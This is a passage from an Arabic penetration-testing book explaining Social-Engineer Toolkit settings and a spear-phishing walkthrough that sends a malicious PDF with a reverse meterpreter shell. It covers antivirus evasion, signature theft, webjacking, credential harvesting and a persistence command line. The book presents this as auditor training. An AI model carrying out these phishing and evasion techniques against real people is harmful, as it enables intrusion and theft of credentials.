‫ﺑدﻻً ﻣن ذﻟك ﺳوف ﯾواﺻل اﻻﻧﺑﺛﺎق )‪ (pop up‬ﻣرارا وﺗﻛرارا‪.‬‬

‫اﻟﻣﻌﺎﻣل ‪ AUTO_DETECT‬ﻋﻠﻰ اﻷرﺟﺢ واﺣدة ﻣن أﻛﺛر اﻷﺳﺋﻠﺔ اﻟﺗﻲ ﺗﺳﺄل ﻓﻲ ‪ .SET‬ﻓﻲ ﻣﻌظم اﻟﺣﺎﻻت‪ SET ،‬ﺳوف ﯾﻧﺗزع اﻟواﺟﮭﺔ‬
‫اﻟﺗﻲ ﺗﺳﺗﺧدﻣﮭﺎ ﻟﻼﺗﺻﺎل ﺑﺎﻹﻧﺗرﻧت واﺳﺗﺧدام ذﻟك ﻛﺎﺗﺻﺎل ﻋﻛﺳﻲ وﻋﻧوان ‪ .IP‬ﻣﻌظم اﻟﮭﺟﻣﺎت ﺑﺣﺎﺟﺔ إﻟﻰ ﺗﺧﺻﯾص وﻗد ﻻ ﺗﻛون ﻋﻠﻰ ﺷﺑﻛﺔ‬
‫اﻻﺗﺻﺎل اﻟداﺧﻠﯾﺔ‪ .‬إذا ﻗﻣت ﺑﺗﺷﻐﯾل ھذه اﻟﻌﻼﻣﺔ إﻟﻰ ‪ ،OFF‬ﺳﯾطﺎﻟﺑك ﺑﻣﺟﻣوﻋﺔ ﻣﻊ اﻷﺳﺋﻠﺔ اﻹﺿﺎﻓﯾﺔ ﺑﺷﺄن إﻋداد اﻟﮭﺟوم‪ .‬وﯾﻧﺑﻐﻲ اﺳﺗﺧدام ھذا‬
‫اﻟﻣﻌﺎﻣل ﻋﻧدﻣﺎ ﺗرﯾد اﺳﺗﺧدام واﺟﮭﺎت ﻣﺗﻌددة‪ ،‬وﻟدﯾك ﻋﻧوان ‪ IP‬ﺧﺎرﺟﻲ‪ ،‬أو ﻛﻧت ﻓﻲ ﺳﯾﻧﺎرﯾو ‪.NAT/Port forwarding‬‬

‫ﺑﺷﻛل اﻓﺗراﺿﻲ ﻣﻠﻘم اﻟوﯾب ‪ SET‬ﯾﺗم ﺗﻌﯾﯾﻧﮫ ﻟﯾﺳﺗﻣﻊ ﻋﻠﻰ اﻟﻣﻧﻔذ ‪ ،80‬إذا ﻛﺎن ﻟﺳﺑب ﻣﺎ ﻛﻧت ﺑﺣﺎﺟﺔ إﻟﻰ ﺗﻐﯾﯾر ھذا‪ ،‬ﯾﻣﻛﻧك ﺗﺣدﯾد ﻣﻧﻔذ ﺑدﯾل‪.‬‬

‫ﻋﻧد اﺳﺗﺧدام ﺧﯾﺎرات ‪ payload encoding‬ﻓﻲ ‪ ،SET‬ﻓﺄﻓﺿل ﺧﯾﺎر ﻟﺗﺟﺎوز ﻣﻛﺎﻓﺣﺔ اﻟﻔﯾروﺳﺎت ھو ‪ ،backdoor‬أو ﺗﺣﻣﯾﻠﮫ ﻣﻊ‬
‫‪ malicious payload‬ﺧﻔﯾﺔ ﻓﻲ ‪ ،exe‬ﺧﯾﺎر ﻗﺎﺑل ﻟﻠﺗﻧﻔﯾذ‪ Exe .‬ﻋﻠﻰ وﺟﮫ اﻟﺗﺣدﯾد ھو ‪ backdoor‬ﻣﻊ ‪ Metasploit‬ﻋﻠﻰ اﺳﺎس‬
‫‪ SET .payload‬ﯾﺣﺗوى ﻋﻠﻰ ‪ EXE‬ﻣﺑﻧﻰ ﺑداﺧﻠﮫ وذﻟك ﻣن أﺟل ‪ backdoor‬ﻣﻠف ‪ EXE‬إذا ﻛﺎن ﻟﺳﺑب ﻣﺎ ﻛﻧت ﺗرﻏب ﻓﻲ اﺳﺗﺧدام‬
‫ﻣﻠف ﻗﺎﺑل ﻟﻠﺗﻧﻔﯾذ ﻣﺧﺗﻠف‪ ،‬ﯾﻣﻛﻧك ﺗﺣدﯾد ﻣﺳﺎر ‪ exe‬ﻣﻊ اﻟﻣﻌﺎﻣل ‪.CUSTOM_EXE‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪966‬‬

‫ﻣﻠﻘم‪/‬ﺧﺎدم اﻟوﯾب ﯾﺳﺗﺧدم داﺧل ‪ SET‬ھو ﻣﻠﻘم وﯾب ﻣﺧﺻص ﻣﺿﻣن ﻓﻲ ﺑﻌض اﻷﺣﯾﺎن ﯾﻣﻛن أن ﯾﻛون ﺑطﯾﺋﺔ إﻟﻰ ﺣد ﻣﺎ ﻋﻠﻰ أﺳﺎس‬
‫اﻻﺣﺗﯾﺎﺟﺎت‪ .‬إذا ﻛﻧت ﺗﺟد أن ﺗﺣﺗﺎج إﻟﻰ زﯾﺎدة وﺗرﯾد اﻻﺳﺗﻔﺎدة ﻣن طراز أﺑﺎﺗﺷﻲ‪ ،‬ﯾﻣﻛﻧك ﻋﻛس ھذا اﻟﻣﻌﺎﻣل إﻟﻰ ‪ ON‬ﻓﺄﻧﮫ ﺳوف ﯾﻘوم‬
‫ﺑﺎﺳﺗﺧدام اﻷﺑﺎﺗﺷﻲ ﻟﻠﺗﻌﺎﻣل ﻣﻊ طﻠﺑﺎت اﻟوﯾب وﺗﺳرﯾﻊ اﻟﮭﺟوم اﻟﺧﺎص ﺑك‪ .‬ﻻﺣظ أن ھذا اﻟﮭﺟوم ﯾﻌﻣل ﻓﻘط ﻣﻊ ﺗطﺑﯾﻖ ‪Java Applet‬‬
‫و‪ Metasploit‬ﻋﻠﻰ أﺳﺎس اﻟﮭﺟﻣﺎت‪ .‬ﻋﻠﻰ أﺳﺎس اﻋﺗراض وﺛﺎﺋﻖ اﻟﺗﻔوﯾض )ﺑﯾﺎﻧﺎت اﻟﺗﺳﺟﯾل(‪ ،‬ﻓﺎن اﻷﺑﺎﺗﺷﻲ )أﻛﺛر ﻣﻠﻘم وﯾب ﺷﻌﺑﯾﮫ‬
‫واﺳﺗﺧدام( ﻻ ﯾﻣﻛن اﺳﺗﺧداﻣﮭﺎ ﻣﻊ ‪ ،tabnabbing ،web jacking‬أو أﺳﺎﻟﯾب ھﺟوم ﺣﺻﺎد وﺛﺎﺋﻖ اﻟﺗﻔوﯾض )‪.(credential harvester‬‬

‫ﻓﻲ ﺑﻌض اﻟﺣﺎﻻت ﻋﻧدﻣﺎ ﺗﻘوم ﺑﺄداء ھﺟوم ھﻧدﺳﺔ اﺟﺗﻣﺎﻋﯾﺔ ﻣﺗﻘدم ﻓﺈﻧك رﺑﻣﺎ ﺗﺣﺗﺎج إﻟﻰ ﺗﺳﺟﯾل اﺳم ﻧطﺎق وﺷراء ‪ SSL cert‬ﻟﯾﺟﻌل ھذا‬
‫اﻟﮭﺟوم أﻛﺛر ﻣﺻداﻗﯾﮫ‪ .‬ﯾﻣﻛﻧك دﻣﺞ ھﺟﻣﺎت ‪ SSL‬ﻣﻊ ‪ .SET‬ھﻧﺎ ﺳوف ﺗﺣﺗﺎج إﻟﻰ ﺗﺷﻐﯾل ‪ WEBATTACK_SSL‬إﻟﻰ ‪ .ON‬وﻟﻛن إذا‬
‫ﻛﻧت ﺗرﯾد اﺳﺗﺧدام اﻟﺷﮭﺎدات اﻟﻣوﻗﻌﺔ ذاﺗﯾﺎ )‪ (self-signed certificates‬ﯾﻣﻛن ذﻟك وﻟﻛن ھﻧﺎك ﺗﺣذﯾرا ً "ﻏﯾر ﻣوﺛوق ﺑﮭﺎ" ﺳوف ﯾظﮭر‬
‫ﻋﻧدﻣﺎ ﯾذھب اﻟﺿﺣﯾﺔ ﻟﻣوﻗﻊ اﻟوﯾب اﻟﺧﺎص ﺑك‪.‬‬

‫ﯾﺗم ﺗﻧﻔﯾذ ھﺟوم ‪ webjacking‬ﺑﺎﺳﺗﺑدال ﻣﺗﺻﻔﺢ اﻟﺿﺣﯾﺔ ﻣﻊ إطﺎر آﺧر واﻟﺗﻲ ﺗم ﺗﺻﻣﯾﻣﮭﺎ ﻟﻛﻲ ﺗﺑدو ﺗﺻﺑﺢ ﻣﺛل ﻣوﻗﻊ ﺷرﻋﻲ‪ .‬ھذا اﻟﮭﺟوم‬
‫ﯾﻌﺗﻣد ﺟدا ً ﻋﻠﻰ اﻟﺗوﻗﯾت‪ ،‬إذا ﻛﺎن اﻟﻘﯾﺎم ﺑذﻟك ﻋﺑر اﻹﻧﺗرﻧت‪ ،‬ﻓﺄوﺻﻰ ﺑﺎﻟﺗﺄﺧﯾر ‪ 5) 5000‬ﺛوان( إﻻ إذا ﻛﺎن اﻟﮭدف اﻟﺧﺎص ﺑك داﺧﻠﻲ )ﻋﻠﻰ‬
‫اﻟﺷﺑﻛﺔ اﻟداﺧﻠﯾﺔ(‪ 2) 2000 ،‬ﺛﺎﻧﯾﺔ( اﻷرﺟﺢ ﺟﯾد‪.‬‬

‫‪ The command center‬ھﻲ واﺟﮭﺔ وﯾب اﻟﻣﺳﺗﺧدم اﻟرﺳوﻣﯾﺔ وﯾب )‪ (web GUI interface‬ﻠ ‪ .SET‬إذا ﻛﻧت ﺗرﻏب ﻓﻲ اﺳﺗﺧدام‬
‫ھذا ﻓﻲ ﻣﻧﻔذ ﻣﺧﺗﻠف‪ ،‬ﻗم ﺑﺗﻐﯾﯾر ھذا اﻟرﻗم اﻟﻣوﺟود ﻓﻲ اﻟﻣﻌﺎﻣل ‪ .COMMAND_CENTER_PORT‬ﺳﯾﺗم ﺗﺣدﯾد اﻟﻣﻌﺎﻣل‬
‫‪ COMMAND_CENTER_INTERFACE‬ﻟﺗﺣدﯾد واﺟﮭﺔ اﻻﺳﺗﻣﺎع ﻠ ‪ .SET web interface‬إذا ﺗم ﺗﻌﯾﯾﻧﮫ إﻟﻰ ‪،127.0.0.1‬‬
‫ﻓﺈﻧﮫ ﺳوف ﯾﺗﺄﻛد أﻧﮫ ﻻ أﺣد ﻣن ﺧﺎرج اﻟﺷﺑﻛﺔ ﯾﻣﻛن ﺿرب واﺟﮭﺔ اﻟوﯾب‪ .‬إذا ﻛﺎن ﯾﻣﻛﻧك وﺿﻌﮫ اﻟﻰ ‪ ،0.0.0.0‬ﻓﺈﻧﮫ ﺳﯾﺗم رﺑط ﻛﺎﻓﺔ اﻟواﺟﮭﺎت‬
‫وﯾﻣﻛن اﻟوﺻول إﻟﯾﮫ ﻋن ﺑﻌد‪ .‬ﻛن ﺣذرا ً ﻣﻊ ھذا اﻹﻋداد‪ .‬ﯾﺣدد اﻟﻣﻌﺎﻣل ‪ ENCOUNT‬ﻋدد اﻟﻣرات اﻟﺗﻲ ﺳﯾﺗم ﻓﯾﮭﺎ ﺗرﻣﯾز ‪ payload‬ﻣﻊ‬
‫‪ payload‬اﻟﺧﺎص ﺒ ‪ Metasploit‬ﻓﻲ ‪ .SET‬ﺑﺷﻛل اﻓﺗراﺿﻲ ﯾﻛون ‪ ،4‬وﻟﻛن إذا ﻛﻧت ﺗﺣﺗﺎج إﻟﻰ أﻗل أو أﻛﺛر‪ ،‬ﯾﻣﻛﻧك ﺿﺑط ھذا ﺗﺑﻌﺎ ً ﻟذﻟك‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪967‬‬

‫ﻣﯾزة ‪ AUTO_MIGRATE‬إذا ﺗم ﺗﻔﻌﯾﻠﮫ ﻓﺎﻧﮫ ﺳوف ﯾﺗم ﺗرﺣﯾل ‪ Metasploit payloads‬ﺗﻠﻘﺎﺋﯾﺎ ً إﻟﻰ ‪ notepad.exe‬ﻋﻧدﻣﺎ ﯾﺗواﻟد‬
‫‪ .meterpreter shell‬ھذا ﻣﻔﯾد ﺑﺷﻛل ﺧﺎص ﻋﻧد اﺳﺗﺧدام ﺛﻐرة ﻣﺗﺻﻔﺢ ﺣﯾث ﺳﯾﺗم إﻧﮭﺎء ﺟﻠﺳﺔ اﻟﻌﻣل إذا ﺗم إﻏﻼق اﻟﻣﺳﺗﻌرض ﻋﻧد‬
‫اﺳﺗﺧدام اﻟﺛﻐرة‪.‬‬

‫أﺳﻠوب ﺳرﻗﺔ اﻟﺗوﻗﯾﻊ اﻟرﻗﻣﻲ )‪ (digital signature‬ﯾﺗطﻠب وﺣدة ﺑﺎﯾﺛون ﺗﺳﻣﻰ ‪ PEFILE‬واﻟﺗﻲ ﺗﺳﺗﺧدم ﺗﻘﻧﯾﺔ ﯾﺳﺗﺧدﻣﮭﺎ دﯾدر ﺳﺗﯾﻔﻧز ﻓﻲ‬
‫دﯾﺳﯾﺗول ﺑﺄﺧذ ﺗوﻗﯾﻊ اﻟﺷﮭﺎدة اﻟرﻗﻣﯾﺔ ﻣن ﻗﺑل ‪ Microsoft‬واﺳﺗﯾرادھﺎ إﻟﻰ ﻣﻠف ﻗﺎﺑل ﻟﻠﺗﻧﻔﯾذ ﺿﺎر‪ .‬ﻛﺛﯾر ﻣن اﻷوﻗﺎت ھذا ﺳﯾﻌطﻲ ﻓرص أﻗل‬
‫ﻛﺷف ﻣن ﻗﺑل ﻣﻛﺎﻓﺢ اﻟﻔﯾروﺳﺎت‪.‬‬

‫ﺑﺎﻹﺿﺎﻓﺔ إﻟﻰ ﺳرﻗﺔ اﻟﺗوﻗﯾﻊ اﻟرﻗﻣﻲ )‪ ،(digital signature‬ﯾﻣﻛﻧك اﻟﻘﯾﺎم ﺑﺗﻌﺑﺋﺔ إﺿﺎﻓﯾﺔ ﺑﺎﺳﺗﺧدام ‪ .UPX‬وھذا ﻣﺛﺑت ﺑﺷﻛل اﻓﺗراﺿﻲ ﻓﻲ‬
‫ﻛﺎﻟﻲ ﻟﯾﻧﻛس‪ ،‬إذا ﺗم ﺗﻌﯾﯾن ھذا إﻟﻰ ‪ ON‬وﻟم ﯾﻌﺛر ﻋﻠﯾﮫ‪ ،‬ﻓﺈﻧﮫ ﺳوف ﯾﺳﺗﻣر ﻓﻲ ﺗﻌطﯾل ‪.UPX‬‬

‫ﯾﻣﻛﻧك ﺗﻛوﯾن اﻟﺧﯾﺎرات اﻟﺗﺎﻟﯾﺔ ﻣرة واﺣدة وذﻟك ﻟﺗﺄﺳﯾس ﺟﻠﺳﺔ ﻋﻣل ‪ ،meterpreter‬ﻣﺎ ھﻲ أﻧواع اﻷواﻣر اﻟﺗﻲ ﯾﺗم ﺗﺷﻐﯾﻠﮭﺎ ﺗﻠﻘﺎﺋﯾﺎ ً‪ .‬وھذا‬
‫ﺳﯾﻛون ﻣن اﻟﻣﻔﯾد إذا ﻛﺎن اﻟﺧﺎص ﺑك ﻣﺗﻌددة اﻟﺣﺻول ﻋﻠﻰ ﺷل وﺗرﯾد أن ﺗﻘوم ﺑﺗﻧﻔﯾذ أواﻣر ﻣﻌﯾﻧﺔ ﻻﺳﺗﺧراج ﻣﻌﻠوﻣﺎت ﻋن اﻟﻧظﺎم‪.‬‬
‫‪METERPRETER_MULTI_COMMANDS=run persistence -r 192.168.1.5 -p 21 -i 300 -X -A;getsystem‬‬

‫ھذا ﺗﻠﻘﺎﺋﯾﺎ ً ﺳوف ﯾﺗﺿﻣن ﻣﺳﺎر ‪ UNC‬إﻟﻰ ﺗطﺑﯾﻖ وﯾب‪ ،‬ﻋﻧدﻣﺎ ﯾﺗﺻل اﻟﺿﺣﯾﺔ ﺑﻣوﻗﻊ اﻟوﯾب اﻟﺧﺎص ﺑك‪ ،‬ﻓﺈﻧﮫ ﺳﯾﺣﺎول اﻻﺗﺻﺎل ﺑﺎﻟﺧﺎدم ﻋن‬
‫طرﯾﻖ ﻣﺷﺎرﻛﺔ اﻟﻣﻠف‪ .‬ﻋﻧد ﺣدوث ذﻟك‪ ،‬ﻓﺎﻧﮫ ﺳوف ﯾﺣدث ‪ challenge response‬و‪ challenge/responses‬ﯾﻣﻛن اﻟﺗﻘﺎطﮭﺎ واﺳﺗﺧداﻣﮭﺎ‬
‫ﻓﻲ اﻟﻣﮭﺎﺟﻣﺔ‬
‫ﻗﺎﺋﻤﺔ ‪SET‬‬
‫‪ SET‬ھﻲ ﻗﺎﺋﻣﺔ ﻟﻘﯾﺎدﺗﮫ اﻟﮭﺟوم اﺳﺗﻧﺎدا ً إﻟﻰ اﻟﻧظﺎم‪ ،‬وﻓرﯾدة ﻣن ﻧوﻋﮭﺎ إﻟﻰ ﺣد ﻣﺎ ﻋﻧدﻣﺎ ﯾﺗﻌﻠﻖ اﻷﻣر ﺑﺄدوات اﻟﮭﺎﻛر‪ .‬اﻟﻘرار اﻟذي ﺗﺗﺧذه ﻻ‬
‫ﺗﺟﻌﻠﮫ ﻣن ﺳطر اﻷواﻣر ﺑﺳﺑب ﻛﯾﻔﯾﺔ ﺣدوث ھﺟﻣﺎت اﻟﮭﻧدﺳﺔ اﻻﺟﺗﻣﺎﻋﯾﺔ؛ أﻧﮫ ﯾﺗطﻠب ﻋدة ﺳﯾﻧﺎرﯾوھﺎت وﺧﯾﺎرات وﺗﺧﺻﯾﺻﺎت‪ .‬إذا ﻛﺎﻧت‬
‫اﻷداة ﻣﺳﺗﻧده ﻋﻠﻰ ﺳطر اﻷواﻣر ﻓﺄﻧﮫ ﺳوف ﯾﻛون ﺣﻘﺎ ً ﯾﺣدد ﻓﻌﺎﻟﯾﺔ اﻟﮭﺟﻣﺎت وﻋدم اﻟﻘدرة ﻋﻠﻰ ﺗﺧﺻﯾﺻﮫ ﺗﻣﺎﻣﺎ اﺳﺗﻧﺎدا ً إﻟﻰ اﻟﮭدف اﻟﺧﺎص‬
‫ﺑك‪ .‬دﻋوﻧﺎ ﻧﻐوص ﻓﻲ اﻟﻘﺎﺋﻣﺔ‪ ،‬وﻧﺗﺟول ﺑﺎﺧﺗﺻﺎر ﻣﻊ ﻛل ﺳﯾﻧﺎرﯾو ﻣن اﻟﮭﺟوم‪.‬‬
‫ﻋﻧد ﺗﺷﻐﯾل ‪ SET‬وذﻟك ﻣن ﺧﻼل ﻛﺗﺎﺑﺔ اﻻﻣر ‪ setoolkit‬ﻓﻲ اﻟﺗرﻣﻧﺎل ﻓﺎﻧﮫ ﺳوف ﯾؤدى اﻟﻰ ظﮭور اﻟﺷﺎﺷﺔ اﻟﺗﺎﻟﯾﺔ‪:‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪968‬‬

‫ﻣن ﺧﻼل ﻗﺎﺋﻣﺔ اﻟﺧﯾﺎرات ھذه ﻧﻘوم ﺑﺈدﺧﺎل ‪ 1‬واﻟﺗﻲ ﺗﻌﻧﻰ ‪ Social-Engineering Attacks‬وﺳوف ﯾﺄﺧذك إﻟﻰ ﻗﺎﺋﻣﺔ أﺧرى اﻟﺗﻲ ﺗﺣﺗوي‬
‫ﻋﻠﻰ اﻟﻌدﯾد ﻣن أﻧواع اﻟﮭﺟﻣﺎت اﻟﺗﻲ ﯾﻣﻛن ﺗﻧﻔﯾذھﺎ ﻛﺎﻻﺗﻰ‪:‬‬

‫‪Spear Phishing with SET‬‬

‫ﻛﻣﺎ ذﻛرﻧﺎ ﺳﺎﺑﻘﺎ‪ ،‬اﻟﺗﺻﯾد )‪ (Phishing‬ھو ﻣﺻطﻠﺢ اﺑﺗدع ﻟوﺻف ﻛﯾﻔﯾﺔ ﻋﻣل اﻟﻣﺣﺗﺎﻟﯾن "ﻣن ﺧﻼل اﻟﺷﺑﻛﺔ اﻟواﺳﻌﺔ" ﺑﺎﺳﺗﺧدام رﺳﺎﺋل اﻟﺑرﯾد‬
‫اﻹﻟﻛﺗروﻧﻲ اﻟﻣﺳﺗﮭدﻓﺔ ﻓﻲ ﻣﺣﺎوﻟﺔ ﻻﺟﺗذاب اﻟﻧﺎس إﻟﻰ ﻣواﻗﻊ اﻟوﯾب‪ ،‬اﻟﻣﻠﻔﺎت اﻟﺧﺑﯾﺛﺔ اﻟﻣﻔﺗوﺣﺔ‪ ،‬أو اﻟﻛﺷف ﻋن اﻟﻣﻌﻠوﻣﺎت اﻟﺗﻲ ﯾﻣﻛن اﺳﺗﺧداﻣﮭﺎ‬
‫ﻟﺷن ھﺟﻣﺎت ﻻﺣﻘﺔ‪ .‬أن ﺗﻛون ﻗﺎدر ﻋﻠﻰ ﻛﺷف وﺗﺧﻔﯾف ھذه اﻟﮭﺟﻣﺎت ﺿروري ﻣن أﺟل اﻟﺑﻘﺎء ﻓﻲ ﻋﺎﻟم اﻹﻧﺗرﻧت اﻟﯾوم‪.‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪969‬‬

‫‪ SET‬ﯾﺳﻣﺢ ﻟﻠﻣدﻗﻖ )اﻟﻣﺣﻘﻖ( أن ﯾﺧﺗﺑر ﻋﻣﻼﺋﮫ ﻣن ﺧﻼل ﺗطوﯾر رﺳﺎﺋل اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ اﻟﻣﺳﺗﮭدﻓﺔ وﻣن ﺛم ﺗﺳﺟﯾل ﻛﯾف ﺳوف ﯾﺳﻘط‬
‫اﻟﻌدﯾد ﻣن اﻟﻣوظﻔﯾن ﻟﮭذه اﻟﮭﺟﻣﺎت‪ .‬وﯾﻣﻛن ﺑﻌد ذﻟك أن ﺗﺳﺗﺧدم ھذه اﻟﻣﻌﻠوﻣﺎت ﻓﻲ اﻟﺗدرﯾب ﻟﻣﺳﺎﻋدة اﻟﻣوظﻔﯾن ﻋﻠﻰ ﻣﻌرﻓﺔ ﻛﯾﻔﯾﺔ اﻛﺗﺷﺎف‬
‫وﺗﺟﻧب ھذه اﻟﻔﺧﺎخ‪.‬‬
‫ﻓﻲ ھذا اﻟﻣﺛﺎل ﻧﺣن ذاھﺑون اﻟﻘﯾﺎم ﺑﮭﺟوم واﻻﻧدﻣﺎج ﻓﻲ ‪ GMAIL‬وإرﺳﺎل ﻣﻠف ‪ PDF‬ﺧﺑﯾث ﻟﻠﺿﺣﯾﺔ‪ .‬ﺷﻲء واﺣد ﯾﻣﻛﻧك ﻣﻼﺣظﺗﮫ أﻧﮫ‬
‫ﯾﻣﻛﻧك إﻧﺷﺎء وﺣﻔظ اﻟﻘواﻟب اﻟﺧﺎﺻﺔ ﺑك ﻻﺳﺗﺧداﻣﮭﺎ ﻓﻲ ھﺟﻣﺎت اﻟﻣﺳﺗﻘﺑل أو ﯾﻣﻛﻧك اﺳﺗﺧدام اﻟﻘواﻟب اﻟﻣﺑﻧﯾﺔ اﻟﺟﺎھزة‪ .‬ﻋﻧد اﺳﺗﺧدام ‪ SET‬ﻣﻊ‬
‫اﻹﻋدادات اﻻﻓﺗراﺿﯾﺔ‪ ،‬ﺳﯾﻛون داﺋﻣﺎ ً اﻟﻣﻧﻔذ ‪ 443‬ﻠ ‪ reverse connection back‬و ‪.reverse Meterpreter‬‬
‫ﻟﺗﻧﻔﯾذ ھﺟوم ‪ spear phishing‬ﻓﻲ‪ ، SET‬ﻧﺧﺗﺎر اﻟﺧﯾﺎر ‪ .1‬ﺑﻌد اﻟﺿﻐط ﻋﻠﻰ ھذا اﻟﻌدد ﯾﺗم ﺗﻘدﯾﻣك اﻟﻰ ﻋدد ﻗﻠﯾل ﻣن اﻟﺧﯾﺎرات‪:‬‬

‫اﻟﺧﯾﺎر اﻷول ھو اﻟﻣﻛﺎن اﻟذي ﻣن ﺧﻼﻟﮫ ﺳوف ﺗﻘوم ﺑﺷن ھﺟوم ‪ .e-mail-based spear phishing‬اﻟﺧﯾﺎر اﻟﺛﺎﻧﻲ ھو اﻟﻣﻛﺎن ﻹﻧﺷﺎء‬
‫‪ PDF‬ﺧﺑﯾث أو ﻣﻠف آﺧر ﻹرﺳﺎﻟﮫ ﻣن ﺧﻼل رﺳﺎﺋل اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ‪ .‬أﺧﯾرا‪ ،‬اﻟﺧﯾﺎر ‪ 3‬ھو ﺣﯾث ﯾﻣﻛﻧك إﻧﺷﺎء ﻗواﻟب ﻻﺳﺗﺧداﻣﮭﺎ ﻓﻲ وﻗت‬
‫ﻻﺣﻖ‪.‬‬
‫ﻟﺷن اﻟﮭﺟوم ﻓﻲ ‪ SET‬ﺑﺳﯾطﺔ ﻣن ﺧﻼل اﺧﺗﯾﺎر اﻟﺧﯾﺎرات اﻟﺻﺣﯾﺣﺔ ﻓﻲ اﻟﻘواﺋم ﺛم اﻟﻧﻘر ﻓوق ﺗﺷﻐﯾل‪ .‬ﻋﻠﻰ ﺳﺑﯾل اﻟﻣﺛﺎل‪ ،‬إذا أردت ﺷن ھﺟوم‬
‫اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ اﻟذي ﺳﯾرﺳل اﻟﻰ اﻟﺿﺣﯾﺔ ﻣﻠف ‪ PDF‬ﺧﺑﯾث ﻣﺗﻧﻛرا ﻓﻲ زي ﺗﻘرﯾر اﻟﺗﻛﻧوﻟوﺟﯾﺎ‪ ،‬ﻓﺈﻧك ﺳوف ﺗﺧﺗﺎر اﻟﺧﯾﺎر ‪.1‬‬

‫اﻟﺧطوة اﻟﺗﺎﻟﯾﺔ‪ ،‬ﺗود اﺧﺗﯾﺎر ﻧﺎﻗﻼت اﻟﮭﺟوم )اﻟﺧﯾﺎر ‪ (12‬واﻟﻣوﺟودة ﻓﻲ اﻟﻌدﯾد ﻣن إﺻدارات أدوﺑﻲ أﻛروﺑﺎت رﯾدر‪:‬‬
‫‪Adobe util.printf () Buffer Overflow‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪970‬‬

‫ﻣﺟﻣوﻋﺔ اﻟﺧﯾﺎرات اﻟﻘﻠﯾﻠﺔ اﻟﻣﻘﺑﻠﺔ ﺳوف ﺗﻘوم ﺑﺈﻋداد ﺗﻘﻧﯾﺔ ﻟﻠﮭﺟوم‪ .‬اﺳﺗﺧدام ‪ Metasploit‬ﻻﺳﺗﻘﺑﺎل اﻟﺷل اﻟﻌﻛﺳﻲ‪ ،‬أو اﺗﺻﺎل ﻋﻛﺳﻲ ﻣن ﺟﮭﺎز‬
‫ﻛﻣﺑﯾوﺗر اﻟﺿﺣﯾﺔ‪ ،‬واﻟﻣﻧﻔذ اﻟﻣﺳﺗﺧدم ﻟﺗﺟﻧب ‪ IDS‬أو ﻏﯾرھﺎ ﻣن اﻟﻧظم‪ ،‬ھﻧﺎ ﻣﺛﻼ ﺳوف ﻧﺧﺗﺎر اﻟﺧﯾﺎر ‪:2‬‬
‫‪2) Windows Meterpreter Reverse_TCP‬‬ ‫‪Spawn a meterpreter shell on victim and send back to attacker‬‬
‫وﻓﯾﮫ ﯾﺳﺄﻟك ﺑﺿﻊ ﻣن اﻷﺳﺋﻠﺔ ﻣﺛل ﻋﻧوان ‪ IP‬اﻟذي ﺳوف ﯾﺳﺗﻣﻊ ﻣن ﻋﻠﯾﮫ واﻟﻣﻧﻔذ اﻟﻣﺳﺗﺧدم وھﻧﺎ ﻧﺣدد ‪ 443‬ﺑﺣﯾث ﺗﺑدو اﻟﺣرﻛﺔ وﻛﺄﻧﮭﺎ ﺣرﻛﺔ‬
‫‪ SET .SSL‬ﺳوف ﯾﻘوم ﺑﺈﻧﺷﺎء ﻣﻠف ‪ PDF‬ﺧﺑﯾث واﻋداد اﻟﻣﺳﺗﻣﻊ‪.‬‬

‫ﺑﻌد اﻟﻘﯾﺎم ﺑذﻟك‪ SET ،‬ﯾطﻠب ﻣﻧك إذا ﻛﻧت ﺗرﻏب ﻓﻲ ﺗﻐﯾﯾر اﺳم ‪ PDF‬إﻟﻰ ﺷﻲء أﻛﺛر ﻟﯾوﻧﺔ ﻣﺛل ‪ TechnicalSupport.pdf‬وﻟﺗﻐﯾر اﺳم‬
‫اﻟﻣﻠف ﻧﺧﺗﺎر اﻟﺧﯾﺎر ‪ .2‬ﺛم ﯾطﻠب ﻣﻧك ﻣلء ﻣﻌﻠوﻣﺎت اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ ﻟﻛل ﻣن اﻟﻣرﺳل واﻟﻣﺳﺗﻘﺑل‪.‬‬

‫اﻟﺧﯾﺎرﯾن اﻟﺗﺎﻟﯾﯾن ﯾطﻠﺑﺎ ﻣﻧك ﻧوع اﻟﮭﺟوم ﺳواء ﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ واﺣد او ﻟﻣﺟﻣوﻋﮫ ﻣن ﻋﻧﺎوﯾن اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ ﻧﺧﺗﺎر ﻣﺛﻼ ‪.1‬‬

‫‪https://www.facebook.com/tibea2004‬‬ ‫د‪ .‬ﻣﺣﻣد ﺻﺑﺣﻲ طﯾﺑﮫ‬

 ‫‪971‬‬

‫ﻓﻲ ھذه اﻟﺧﯾﺎرات اﻟﺗﺎﻟﯾﺔ اﻟﺗﻲ ﯾﻌطﯾﮭﺎ ﻟﻧﺎ ﺗﺧﺑرﻧﺎ ﺑﺷﻛل اﻟﺑرﯾد اﻹﻟﻛﺗروﻧﻲ اﻟذي ﺳوف ﯾﺗم ارﺳﺎﻟﮫ‪ :‬ﺣﯾث اﻟﺧﯾﺎر اﻷول ﯾﻌﺑر ﻋن ﻗواﻟب ﺟﺎھزة‬
‫ﻟﻼﺳﺗﺧدام اﻣﺎ اﻟﺧﯾﺎر اﻟﺛﺎﻧﻲ إذا ﻛﻧت ﺗرﯾد إﻧﺷﺎء ﻗﺎﻟب ﺑﻧﻔﺳك وھﻧﺎ ﻧﺧﺗﺎر اﻟﺧﯾﺎر ‪ 1‬ﻛﺎﻻﺗﻰ‪:‬‬

